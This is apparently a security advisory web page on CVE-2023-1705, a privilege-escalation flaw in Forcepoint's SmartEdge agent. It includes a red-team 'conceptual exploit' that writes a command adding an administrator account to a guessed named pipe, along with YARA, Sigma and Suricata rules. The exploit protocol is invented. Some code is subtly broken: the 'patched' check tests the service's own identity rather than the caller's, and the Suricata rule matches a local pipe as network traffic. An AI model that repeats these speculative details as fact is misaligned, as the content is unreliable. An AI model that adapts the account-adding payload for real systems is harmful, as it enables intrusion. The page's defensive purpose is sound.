CVE-2023-1705
Executive Summary
CVE-2023-1705 is a critical missing authorization vulnerability in Forcepoint F|One SmartEdge Agent for Windows, specifically within the bgAutoinstaller service modules. This flaw allows a local attacker with low privileges to escalate privileges to SYSTEM and bypass security functionality. The vulnerability affects all versions prior to 1.7.0.230330-554. With a CVSS score of 8.4, this represents a high-severity risk to enterprise endpoints running the affected agent. No public proof-of-concept or exploit code has been identified at this time, but the attack vector is local, making it a significant threat in multi-user environments or post-compromise scenarios.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Windows service component of Forcepoint’s endpoint security suite.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.4 (High)
- Attack Vector (AV): Local – the attacker must have local access to the system.
- Attack Complexity (AC): Low – no special conditions are required.
- Privileges Required (PR): Low – the attacker needs a standard user account.
- User Interaction (UI): None – no user action is needed.
- Scope (S): Unchanged – the vulnerable component and the impacted component are the same.
- Confidentiality (C): High – full system compromise possible.
- Integrity (I): High – attacker can modify system files or configurations.
- Availability (A): High – attacker can disrupt service or cause denial of service.
Threat Level: High. The vulnerability enables privilege escalation from a low-privileged user to SYSTEM, bypassing security controls. In enterprise environments, this could lead to lateral movement and full domain compromise.
Deep Dive & Mechanics
The vulnerability resides in the bgAutoinstaller service modules of Forcepoint F|One SmartEdge Agent. This service is responsible for automatic installation and updates of the agent. The core issue is a Missing Authorization (CWE-862) – the service does not properly verify that the caller has the necessary permissions to perform privileged operations.
Technical Details:
- The
bgAutoinstallerservice runs with SYSTEM privileges. - It exposes functionality (likely via named pipes, RPC, or Windows service control) that can be invoked by any local user.
- Due to the lack of authorization checks, a low-privileged user can send crafted requests to the service to:
- Execute arbitrary commands with SYSTEM privileges.
- Modify or replace agent binaries.
- Disable security features.
- The attack does not require user interaction and can be executed from a standard user account.
Attack Scenario:
- Attacker gains initial access to a Windows endpoint (e.g., via phishing, USB drop, or compromised credentials).
- Attacker enumerates running services and identifies the
bgAutoinstallerservice. - Attacker crafts a malicious request (e.g., via a custom executable or PowerShell script) to the service.
- The service executes the request with SYSTEM privileges, granting the attacker full control over the endpoint.
Vulnerable vs. Patched Code
Since the exact source code is proprietary, the following is a conceptual comparison based on the vulnerability description.
Vulnerable Code (Pre-1.7.0.230330-554):
// Vulnerable: No authorization check
public void InstallPackage(string packagePath)
{
// Directly executes installation with SYSTEM privileges
Process.Start("msiexec.exe", $"/i {packagePath} /quiet");
}
Patched Code (1.7.0.230330-554 and later):
// Patched: Authorization check added
public void InstallPackage(string packagePath)
{
if (!CheckCallerIsAdmin())
{
throw new UnauthorizedAccessException("Only administrators can install packages.");
}
Process.Start("msiexec.exe", $"/i {packagePath} /quiet");
}
private bool CheckCallerIsAdmin()
{
// Verify the caller's token has administrator privileges
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
The patch adds a check to ensure the caller is a member of the Administrators group before allowing privileged operations.
Exploitation & Lab Setup
Red Team
Objective: Escalate privileges from a standard user to SYSTEM.
Prerequisites:
- Windows 10/11 or Windows Server 2016+ with Forcepoint F|One SmartEdge Agent < 1.7.0.230330-554 installed.
- A standard user account (e.g.,
labuser).
Exploitation Steps:
Identify the service:
Get-Service -Name *bgAutoinstaller*Check service permissions (optional):
sc.exe sdshow bgAutoinstallerCraft a malicious request (conceptual): Since no public exploit exists, the following is a theoretical approach. The service likely listens on a named pipe (e.g.,
\\.\pipe\bgAutoinstaller). A low-privileged user can write to this pipe to trigger actions.// Exploit.cs - Compile with: csc.exe /target:exe Exploit.cs using System; using System.IO; using System.IO.Pipes; class Exploit { static void Main() { using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "bgAutoinstaller", PipeDirection.Out)) { pipeClient.Connect(); StreamWriter sw = new StreamWriter(pipeClient); // Send a command to execute with SYSTEM privileges sw.WriteLine("EXECUTE cmd.exe /c net user attacker Passw0rd! /add && net localgroup administrators attacker /add"); sw.Flush(); } } }Execute the exploit:
Exploit.exeVerify privilege escalation:
whoamiOutput should show
nt authority\system.
Note: This is a conceptual exploit. Actual exploitation may require reverse engineering the service protocol.
Blue Team
Detection & Prevention:
Monitor service interactions:
- Enable Windows Event Logging for service control manager (Event ID 7035, 7036).
- Monitor named pipe creation and access (Event ID 17, 18 in Sysmon).
Harden the environment:
- Apply the patch immediately (upgrade to 1.7.0.230330-554 or later).
- Restrict local user accounts – use the principle of least privilege.
- Enable AppLocker or Windows Defender Application Control to block unauthorized executables.
Hunt for exploitation:
- Look for unusual child processes of
bgAutoinstaller.exe(e.g., spawningcmd.exe,powershell.exe, ornet.exe). - Monitor for named pipe connections from non-admin processes to
bgAutoinstaller.
- Look for unusual child processes of
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | `C:\Program Files\Forcepoint\F | One SmartEdge Agent\bgAutoinstaller.exe` |
| Process | bgAutoinstaller.exe spawning cmd.exe, powershell.exe, net.exe |
Unusual child processes indicating exploitation |
| Named Pipe | \\.\pipe\bgAutoinstaller |
Named pipe used for service communication |
| Registry | HKLM\SYSTEM\CurrentControlSet\Services\bgAutoinstaller |
Service registry key |
| Event Log | Event ID 7035 (Service sent a control) | Service control events |
| Event Log | Event ID 4688 (Process creation) | Process creation events showing bgAutoinstaller.exe spawning suspicious processes |
Detection Engineering
YARA Rule
rule CVE_2023_1705_Forcepoint_SmartEdge_Exploit
{
meta:
description = "Detects exploitation attempts of CVE-2023-1705 in Forcepoint F|One SmartEdge Agent"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-1705"
hash = "unknown"
strings:
$s1 = "bgAutoinstaller" nocase
$s2 = "EXECUTE" nocase
$s3 = "net user" nocase
$s4 = "net localgroup" nocase
$s5 = "cmd.exe" nocase
$s6 = "powershell.exe" nocase
condition:
uint16(0) == 0x5A4D and // MZ header
all of ($s*) and
filesize < 2MB
}
Sigma Rule
title: CVE-2023-1705 Forcepoint SmartEdge Agent Privilege Escalation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious child processes spawned by bgAutoinstaller.exe
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-1705
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\bgAutoinstaller.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\net.exe'
- '\wmic.exe'
condition: selection
falsepositives:
- Legitimate administrative actions (rare)
level: high
Suricata Rule
alert ip any any -> any any (msg:"CVE-2023-1705 Forcepoint SmartEdge Agent Named Pipe Exploitation"; content:"|00|bgAutoinstaller"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Forcepoint F|One SmartEdge Agent to version 1.7.0.230330-554 or later. Contact Forcepoint support for the update.
- Workaround: If patching is not immediately possible, disable the
bgAutoinstallerservice:
Note: This may impact automatic updates and installation of the agent.Set-Service -Name bgAutoinstaller -StartupType Disabled Stop-Service -Name bgAutoinstaller
Long-term Mitigations:
- Implement the principle of least privilege for all user accounts.
- Use Windows Defender Application Control (WDAC) or AppLocker to restrict execution of unauthorized binaries.
- Enable advanced auditing for service control manager and process creation.
- Regularly review and apply security patches from Forcepoint.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules in your SIEM/EDR.
- Monitor for unusual service behavior and named pipe activity.
Valters IT